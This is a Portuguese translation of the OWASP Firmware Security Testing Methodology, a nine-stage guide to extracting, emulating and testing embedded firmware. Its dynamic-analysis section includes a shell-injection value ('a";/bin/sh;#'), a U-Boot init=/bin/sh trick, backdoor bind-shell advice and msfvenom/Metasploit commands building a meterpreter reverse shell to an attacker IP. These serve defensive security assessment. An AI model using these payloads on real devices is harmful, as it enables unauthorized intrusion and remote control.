owasp fstm
1.0.0
| descrição |
|---|
O FSTM é composto por nove estágios adaptados para permitir que pesquisadores de segurança, desenvolvedores de software, amadores e profissionais de segurança da informação conduzam avaliações de segurança de firmware. |
Seja conectado em rede ou independente, o firmware é o centro do controle de qualquer dispositivo incorporado. Como tal, é crucial compreender como o firmware pode ser manipulado para executar funções não autorizadas e potencialmente prejudicar a segurança do ecossistema de suporte. Para começar a realizar testes de segurança e engenharia reversa de firmware, use a metodologia a seguir como orientação ao embarcar em uma avaliação futura. A metodologia é composta por nove etapas adaptadas para permitir que pesquisadores de segurança, desenvolvedores de software, consultores, hobbyistas e profissionais de Segurança da Informação conduzam avaliações de segurança de firmware.
| Estágio | Descrição |
|---|---|
| 1. Coleta de informações e reconhecimento | Adquira todos os detalhes técnicos e de documentação relativos ao firmware do dispositivo de destino |
| 2. Obtenção de firmware | Obtenha firmware usando um ou mais dos métodos propostos listados |
| 3. Analisando firmware | Examine as características do firmware alvo |
| 4. Extraindo o sistema de arquivos | Extraia o conteúdo do sistema de arquivos do firmware de destino |
| 5. Analisando o conteúdo do sistema de arquivos | Analise estaticamente arquivos de configuração do sistema de arquivos extraídos e binários em busca de vulnerabilidades |
| 6. Emulando firmware | Emular arquivos e componentes de firmware |
| 7. Análise dinâmica | Execute testes de segurança dinâmicos em firmware e interfaces de aplicativos |
| 8. Análise de tempo de execução | Analise binários compilados durante o tempo de execução do dispositivo |
| 9. Exploração Binária | Explorar vulnerabilidades identificadas descobertas em estágios anteriores para obter raiz e/ou execução de código |
As seções a seguir detalharão cada etapa com exemplos de apoio, quando aplicável. Considere visitar a página do projeto OWASP Internet of Things e o repositório GitHub para obter as atualizações mais recentes da metodologia e os próximos lançamentos do projeto.
Uma máquina virtual Ubuntu pré-configurada (EmbedOS) com ferramentas de teste de firmware usadas neste documento pode ser baixada através do link a seguir. Detalhes sobre as ferramentas do EmbedOS podem ser encontrados no GitHub no seguinte repositório https://github.com/scriptingxss/EmbedOS.
Durante esta fase, colete o máximo de informações possível sobre o alvo para compreender sua composição geral subjacente à tecnologia. Tente reunir o seguinte:
As informações listadas acima devem ser coletadas antes do trabalho de campo dos testes de segurança por meio de um questionário ou formulário de admissão. Certifique-se de aproveitar as equipes internas de desenvolvimento de linha de produtos para adquirir dados precisos e atualizados. Entenda os controles de segurança aplicados, bem como os itens do roteiro, os problemas de segurança conhecidos e os riscos mais preocupantes. Se necessário, agende análises aprofundadas de acompanhamento sobre recursos específicos em questão. As avaliações são mais bem-sucedidas em um ambiente colaborativo.
Sempre que possível, adquira dados usando ferramentas e técnicas de inteligência de código aberto (OSINT). Se for usado software de código aberto, baixe o repositório e execute análises estáticas manuais e automatizadas na base de código. Às vezes, projetos de software de código aberto já usam ferramentas gratuitas de análise estática fornecidas por fornecedores que fornecem resultados de varredura, como Coverity Scan e LGTM da Semmle. Por exemplo, as capturas de tela abaixo mostram trechos dos resultados do Coverity Scan do Das U-Boot.
Figura : Verificação de cobertura do U-Boot
Figura : Análise de verificação de cobertura U-Boot
Abaixo estão capturas de tela dos resultados do Dropbear da análise do LGTM.
Figura : Alertas LGTM Dropbear
Figura: Resultados LGTM Dropbear
Com as informações em mãos, um exercício de modelo de ameaça leve deve ser realizado mapeando superfícies de ataque e áreas de impacto que mostram maior valor em caso de comprometimento.
Para começar a revisar o conteúdo do firmware, o arquivo de imagem do firmware deve ser adquirido. Tente obter o conteúdo do firmware usando um ou mais dos seguintes métodos:
*Observação: certifique-se de seguir as leis e regulamentos locais ao baixar dados de serviços de armazenamento de provedores de nuvem expostos.
Cada um dos métodos listados varia em dificuldade e não deve ser considerado uma lista exaustiva. Selecione o método apropriado de acordo com os objetivos do projeto e as regras de engajamento. Se possível, solicite uma compilação de depuração e uma compilação de versão do firmware para maximizar os casos de uso de cobertura de teste no caso de o código de depuração ou a funcionalidade ser compilada em uma versão.
Uma vez obtida a imagem do firmware, explore aspectos do arquivo para identificar suas características. Use as etapas a seguir para analisar tipos de arquivos de firmware, possíveis metadados do sistema de arquivos raiz e obter compreensão adicional da plataforma para a qual ele foi compilado.
Aproveite utilitários como:
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
Se nenhum dos métodos acima fornecer dados úteis, o seguinte é possível:
Se o binário puder ser criptografado, verifique a entropia usando binwalk com o seguinte comando:
$ binwalk -E <bin>
Baixa entropia = provavelmente não será criptografado
Alta entropia = Provavelmente está criptografado (ou compactado de alguma forma).
Ferramentas alternativas também estão disponíveis usando o Binvis online e o aplicativo independente.
Este estágio envolve examinar o firmware e analisar os dados relativos do sistema de arquivos para começar a identificar o maior número possível de possíveis problemas de segurança. Use as etapas a seguir para extrair o conteúdo do firmware para revisão do código não compilado e das configurações do dispositivo usadas nas etapas seguintes. Os métodos de extração automatizados e manuais são mostrados abaixo.
$ binwalk -ev <bin>
Os arquivos serão extraídos para " _binaryname/filesystemtype/ "
Tipos de sistema de arquivos: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs
2a. Às vezes, o binwalk não terá o byte mágico do sistema de arquivos em suas assinaturas. Nesses casos, use binwalk para encontrar o deslocamento do sistema de arquivos e extrair o sistema de arquivos compactado do binário e extrair manualmente o sistema de arquivos de acordo com seu tipo usando as etapas abaixo.
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2b. Execute o seguinte comando dd esculpindo o sistema de arquivos Squashfs.
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
Alternativamente, o seguinte comando também pode ser executado.
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2c. Para squashfs (usado no exemplo acima)
$ unsquashfs dir.squashfs
Os arquivos estarão no diretório " squashfs-root " posteriormente.
2d. Arquivos compactados CPIO
$ cpio -ivd --no-absolute-filenames -F <bin>
2f. Para sistemas de arquivos jffs2
$ jefferson rootfsfile.jffs2
2d. Para sistemas de arquivos ubifs com flash NAND
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
Durante esta etapa, são coletadas pistas para as etapas de análise dinâmica e de tempo de execução. Investigue se o firmware de destino contém o seguinte (não exaustivo):
Analise estaticamente o conteúdo do sistema de arquivos e o código descompilado manualmente ou aproveitando ferramentas de automação, como o firmwalker, que analisam o seguinte:
As subseções a seguir apresentam ferramentas automatizadas de análise de firmware de código aberto.
Execute o firmwalker em seu diretório ~/tools/firmwalker e aponte o firmwalker para o caminho absoluto do diretório raiz do sistema de arquivos extraído. Firmwalker usa informações no diretório "/data/” para analisar regras. Um fork personalizado modificado por Aaron Guzman com verificações adicionais pode ser encontrado no GitHub em https://github.com/scriptingxss/firmwalker. Os exemplos a seguir mostram o uso de firmwalker usado no IoTGoat da OWASP Projetos adicionais de firmware vulnerável estão listados na seção Firmware vulnerável no final do documento.
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
Veja a saída do firmwalker abaixo.
Dois arquivos serão gerados, firmwalker.txt e firmwalkerappsec.txt. Esses arquivos de saída devem ser revisados manualmente.
Felizmente, várias ferramentas automatizadas de análise de firmware de código aberto estão disponíveis. Os recursos do FACT incluem o seguinte:
Identificação de componentes de software, como sistema operacional, arquitetura de CPU e componentes de terceiros, juntamente com suas informações de versão associadas
Extração de sistema(s) de arquivos de firmware de imagens
Detecção de certificados e chaves privadas
Detecção de mapeamento de implementações fracas para Common Weakness Enumeration (CWE)
Detecção de vulnerabilidades baseada em feed e assinatura
Análise comportamental estática básica
Comparação (diff) de versões e arquivos de firmware
Emulação de modo de usuário de binários de sistema de arquivos usando QEMU
Detecção de mitigações binárias como NX, DEP, ASLR, stack canaries, RELRO e FORTIFY_SOURCE
API REST
e mais...
Abaixo estão instruções para usar o kit de ferramentas de comparação de análise de firmware na máquina virtual pré-configurada complementar.
Dica: Recomenda-se executar o FACT com um computador com 16 núcleos e 64 GB de RAM, embora a ferramenta possa ser executada com um mínimo de 4 núcleos e 8 GB de RAM em um ritmo muito mais lento. Os resultados da saída da verificação variam de acordo com os recursos alocados fornecidos à máquina virtual. Quanto mais recursos, mais rápido o FACT concluirá os envios de digitalização.
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
Navegue para http://127.0.0.1:5000 no navegador
Figura : Painel FACT
Carregue os componentes do firmware no FACT para análise. Na captura de tela abaixo, o firmware completo compactado com seu sistema de arquivos raiz será carregado e analisado.
Figura: Carregamento de FACT
Dependendo dos recursos de hardware fornecidos ao FACT, os resultados da análise aparecerão com os resultados da varredura em um determinado momento. Este processo pode levar horas se recursos mínimos forem alocados.
Figura: FACT IoTGoat
Figura: Resultados da mitigação de exploração do FACT IoTGoat
Desmonte binários alvo suspeitos com dados coletados do FACT usando IDA Pro, Ghidra, Hopper, Capstone ou Binary Ninja. Analise binários em busca de possíveis chamadas de sistema de execução remota de código, strings, listas de funções, vulnerabilidades de corrupção de memória e identifique Xrefs para system() ou chamadas de função semelhantes. Observe possíveis vulnerabilidades a serem usadas nas próximas etapas.
A captura de tela a seguir mostra o binário “shellback” desmontado usando Ghidra.
Figura: Análise Shellback Ghidra
A análise binária comum consiste em revisar o seguinte:
$ readelf -aW bin/*| grep stack_chk_fail$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'$ readelf -d <bin> | grep -q 'DEBUG'$ readelf --syms <bin>$ nm <bin>-el especifica caracteres little-endian com 16 bits de largura (por exemplo, UTF-16).-eb para big endian-t retornará o deslocamento da string dentro do arquivo.-tx retornará em formato hexadecimal, T-to em octal e -td em decimal.strings -n5 <bin>strings -el <bin>strings -n16 <bin>strings -tx <bin>$ readelf -lW bin/<bin>| grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
O 'E' indica que a pilha é executável.
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW$ readelf -d binary | grep GNU_RELROUm script que automatiza a verificação de muitas das propriedades binárias acima é checksec.sh. Abaixo, estão dois exemplos de uso do script.
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
Figura: Checksec.sh
Para binários da Microsoft (EXE e DLL), use PESecurity para verificar ASLR, DEP, SafeSEH, StrongNaming, Authenticode, Control Flow Guard e HighEntropyVA.
EMBA foi projetado como uma ferramenta central de análise de firmware para testadores de penetração. Ele suporta todo o processo de análise de segurança, começando com a extração de firmware , análise estática e análise dinâmica via emulação até a geração de um relatório baseado na web para análise posterior. Iniciado com um único comando, o EMBA descobre automaticamente potenciais pontos fracos e vulnerabilidades no firmware em teste, como binários inseguros, componentes de software antigos e desatualizados, scripts potencialmente vulneráveis ou senhas codificadas.
Os recursos do EMBA incluem o seguinte:
EMBA está usando várias outras ferramentas em segundo plano. Os recursos de sistema necessários dependem muito do firmware que você vai analisar. Normalmente o EMBA funciona perfeitamente no seguinte ambiente:
Para instalar o ambiente necessário, você deve executar o script de instalação com permissões de root:
sudo ./installer.sh -d Você deve usar a opção -d com o instalador para executar uma instalação típica. Isso instalará as dependências necessárias (por exemplo, cve-search) no host e fará o download da imagem do Docker EMBA . Recomendamos usá-lo para a instalação inicial.
Após a conclusão do processo de instalação, é possível usar o EMBA para análise de segurança do firmware a partir da linha de comando. Antes de iniciar o EMBA, baixe um firmware de teste como o firmware OWASP IoTGoat. O comando a seguir mostra um comando típico do EMBA :
sudo ./emba.sh -f ~ /IoTGoat-x86.img.gz -l ~ /emba_logs_iotgoat -p ./scan-profiles/default-scan.embaO comando mostrado configura as seguintes opções básicas:
Outras opções estão disponíveis e podem ser visualizadas via ./emba.sh -h
A primeira etapa de cada teste de firmware é uma verificação de integridade da instalação atual:
Após a verificação de integridade ser bem-sucedida, o processo de análise começa com a identificação e extração do firmware configurado:
Durante o teste do firmware, todos os resultados e o status atual são mostrados ao vivo no terminal. Como uma varredura típica será executada no modo threaded ( parâmetro -t ), essa saída será distorcida e não muito fácil de ler. Para uma análise mais aprofundada, recomenda-se usar os arquivos de log baseados em texto gerados no diretório de log e no relatório da web ( parâmetro -W ). Após finalizar a varredura do firmware, o EMBA mostra um resumo dos resultados no terminal:
Outros resultados estão disponíveis no diretório de log e podem ser analisados na linha de comando ou através do navegador:
firefox ~ /emba_logs_iotgoat/html-report/index.html
O relatório HTML gerado é independente e pode ser facilmente compartilhado. Além disso, este relatório é totalmente interativo e é possível acessar todos os detalhes dos testes através do painel de resumo agregado.
Mais detalhes estão disponíveis no repositório git oficial do EMBA .
EMBArk é a interface empresarial baseada na web para o scanner de segurança de firmware EMBA . Ele foi desenvolvido para fornecer o analisador de segurança de firmware EMBA como um serviço em contêiner e para facilitar a acessibilidade ao back-end de varredura de firmware EMBA, independentemente do sistema e do sistema operacional.
Além disso, o EMBArk melhora o fornecimento de dados agregando os vários resultados da digitalização num painel de gestão agregado.
Na página de detalhes de todas as verificações você pode acessar o relatório detalhado de uma verificação de firmware, iniciar testes adicionais e baixar os logs de verificação:
Mais detalhes com os principais resultados de cada teste de firmware estão disponíveis no relatório detalhado:
Mais informações estão disponíveis no repositório git oficial do EMBArk .
Nota: EMBArk está em um estágio inicial de desenvolvimento.
Usando detalhes e pistas identificadas nas etapas anteriores, o firmware e seus binários encapsulados devem ser emulados para verificar possíveis vulnerabilidades. Para realizar a emulação de firmware, existem algumas abordagens listadas abaixo.
/usr/bin/shellbackPara começar a emular parcialmente os binários, a arquitetura da CPU e o endianness devem ser conhecidos para selecionar o binário de emulação QEMU apropriado nas etapas a seguir.
$ binwalk -Y <bin>
$ readelf -h <bin>
el - pequeno endian
eb - big endian
Binwalk pode ser usado para identificar endianness para binários de firmware empacotados (não de binários dentro de firmware extraído) usando o comando abaixo.
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
Depois que a arquitetura e o endianness da CPU forem identificados, localize o binário QEMU apropriado para realizar a emulação parcial (não para emular o firmware completo, mas binários com o firmware extraído).
Normalmente, em:
/usr/local/qemu-arch ou /usr/bin/qemu-arch
Copie o binário QEMU aplicável no sistema de arquivos raiz extraído. O segundo comando mostra a cópia do binário QEMU do braço estático para o sistema de arquivos raiz extraído dentro de um shell ZSH mostrando o caminho absoluto.
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
Execute o binário ARM (ou arch apropriado) para emular usando QEMU e chroot com o seguinte comando:
$ sudo chroot . ./qemu-arch <binarytoemulate>
O exemplo a seguir mostra o Busybox emulado em uma arquitetura x64 típica que uma máquina invasora provavelmente está usando.
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
Abaixo está um exemplo de emulação de um serviço que escuta na porta 5515.
> sudo chroot . ./qemu-arm-static usr/bin/shellback
Além disso, o mesmo serviço pode ser emulado com a estrutura Qiling.
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
Em outro terminal, verifique se o serviço está escutando localmente e tente conectar-se a ele com o netcat.
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
Às vezes, as solicitações são enviadas para o binário CGI pelo servidor HTTP. Simplesmente emulando o binário CGI, é possível analisar o procedimento do processo ou verificar a vulnerabilidade sem configurar um servidor HTTP. O exemplo a seguir emite uma solicitação GET para um binário MIPS CGI.
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
Com o binário alvo emulado, interaja com seu intérprete ou serviço de escuta. Fuzz suas interfaces de aplicação e rede conforme observado na próxima fase.
Quando possível, use ferramentas de automação como firmadyne, kit de ferramentas de análise de firmware ou ARM-X Firmware Emulation Framework para realizar a emulação completa do firmware. Essas ferramentas são essencialmente wrappers para QEMU e outras funções ambientais, como nvram.
Usando o kit de ferramentas de análise de firmware, basta executar o seguinte comando:
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| __,_| __|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
Nota: Podem ser necessárias modificações nessas ferramentas se o firmware contiver uma compactação incomum, um sistema de arquivos ou uma arquitetura não suportada.
Neste estágio, execute testes dinâmicos enquanto um dispositivo está sendo executado em seu ambiente normal ou emulado. Os objetivos nesta fase podem variar dependendo do projeto e do nível de acesso concedido. Normalmente, isso envolve adulteração de configurações do bootloader, testes de web e API, difusão (serviços de rede e aplicativos), bem como varredura ativa usando vários conjuntos de ferramentas para adquirir acesso elevado (root) e/ou execução de código.
As ferramentas que podem ser úteis são (não exaustivas):
Consulte metodologias web padrão do setor, como o Guia de testes da OWASP e o Padrão de verificação de segurança de aplicativos (ASVS).
As áreas específicas a serem revisadas no aplicativo da web de um dispositivo incorporado são as seguintes:
Dependendo do produto e de suas interfaces de aplicação, os casos de teste serão diferentes.
Ao modificar a inicialização do dispositivo e os gerenciadores de inicialização, como o U-boot, tente o seguinte:
init=/bin/sh ' no final dos argumentos de inicialização#printenv#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh#saveenv#boot#setenv ipaddr 192.168.2.2 #local IP of the device#setenv serverip 192.168.2.1 #tftp server IP#saveenv#reset#ping 192.168.2.1 #check if network access is available#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP serverubootwrite.py para escrever a imagem uboot e enviar um firmware modificado para obter rootFILENAME ' com comandos de injeção de comando como 'a";/bin/sh;#' para testar a validação de entrada para procedimentos de inicialização do dispositivo.*Testes de segurança de hardware
Tente fazer upload de firmware personalizado e/ou binários compilados para detectar falhas de integridade ou verificação de assinatura. Por exemplo, compile um shell de ligação backdoor que inicia na inicialização usando as etapas a seguir.
Se um shell raiz já tiver sido obtido por meio de análise dinâmica, manipulação do bootloader ou teste de segurança de hardware, tente executar binários maliciosos pré-compilados, como implantes ou shells reversos. Considere o uso de ferramentas automatizadas de carga/implante usadas para estruturas de comando e controle (C&C). Por exemplo, a estrutura Metasploit e 'msfvenom' podem ser aproveitados usando as etapas a seguir.
msfvenom para especificar a carga alvo apropriada (-p), IP do host do invasor (LHOST=), número da porta de escuta (LPORT=), tipo de arquivo (-f), arquitetura (--arch), plataforma (--platform linux ou windows) e o arquivo de saída (-o). Por exemplo, msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linuxset payload linux/armle/meterpreter_reverse_tcpset LHOST 192.168.1.245 #attacker host IPset LPORT 445 #can be any unused portset ExitOnSession falseexploit -j -zSe possível, identifique uma vulnerabilidade nos scripts de inicialização para obter acesso persistente a um dispositivo durante as reinicializações. Essas vulnerabilidades surgem quando os scripts de inicialização fazem referência, vinculam simbolicamente ou dependem de código localizado em locais montados não confiáveis, como cartões SD e volumes flash usados para armazenamento de dados fora dos sistemas de arquivos raiz.
A análise de tempo de execução envolve a conexão a um processo ou binário em execução enquanto um dispositivo está sendo executado em seu ambiente normal ou emulado. As etapas básicas de análise de tempo de execução são fornecidas abaixo:
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>As ferramentas que podem ser úteis são (não exaustivas):
Depois de identificar uma vulnerabilidade em um binário nas etapas anteriores, é necessária uma prova de conceito (PoC) adequada para demonstrar o impacto e o risco no mundo real. O desenvolvimento de código de exploração requer experiência de programação em linguagens de nível inferior (por exemplo, ASM, C/C++, shellcode, etc.), bem como experiência na arquitetura alvo específica (por exemplo, MIPS, ARM, x86 etc.). O código PoC envolve a obtenção de execução arbitrária em um dispositivo ou aplicativo, controlando uma instrução na memória.
Não é comum que proteções binárias de tempo de execução (por exemplo, NX, DEP, ASLR, etc.) estejam em vigor em sistemas embarcados; no entanto, quando isso acontece, técnicas adicionais podem ser necessárias, como programação orientada a retorno (ROP). O ROP permite que um invasor implemente funcionalidades maliciosas arbitrárias encadeando o código existente no processo/código binário de destino conhecido como gadgets. Serão necessárias medidas para explorar uma vulnerabilidade identificada, como um buffer overflow, formando uma cadeia ROP. Uma ferramenta que pode ser útil para situações como essas é o localizador de gadgets da Capstone ou ROPGadget - https://github.com/JonathanSalwan/ROPgadget.
Utilize as seguintes referências para obter mais orientações:
Uma combinação de ferramentas será usada durante a avaliação do firmware. Listadas abaixo estão as ferramentas comumente usadas.
Para praticar a descoberta de vulnerabilidades no firmware, use os seguintes projetos de firmware vulneráveis como ponto de partida.
Feedback e contribuição
Se você gostaria de contribuir ou fornecer feedback para melhorar esta metodologia, entre em contato com [email protected] (@scriptingxss). Certifique-se de abrir um problema ou solicitação pull e nós cuidaremos disso!
Agradecimentos especiais aos nossos patrocinadores Cisco Meraki, OWASP Inland Empire e OWASP Los Angeles, bem como a José Alejandro Rivas Vidal por sua análise cuidadosa.
A lista completa de colaboradores pode ser encontrada em https://github.com/scriptingxss/owasp-fstm/graphs/contributors.
Licença
ATRIBUIÇÃO CRIATIVA COMMONS SHARE
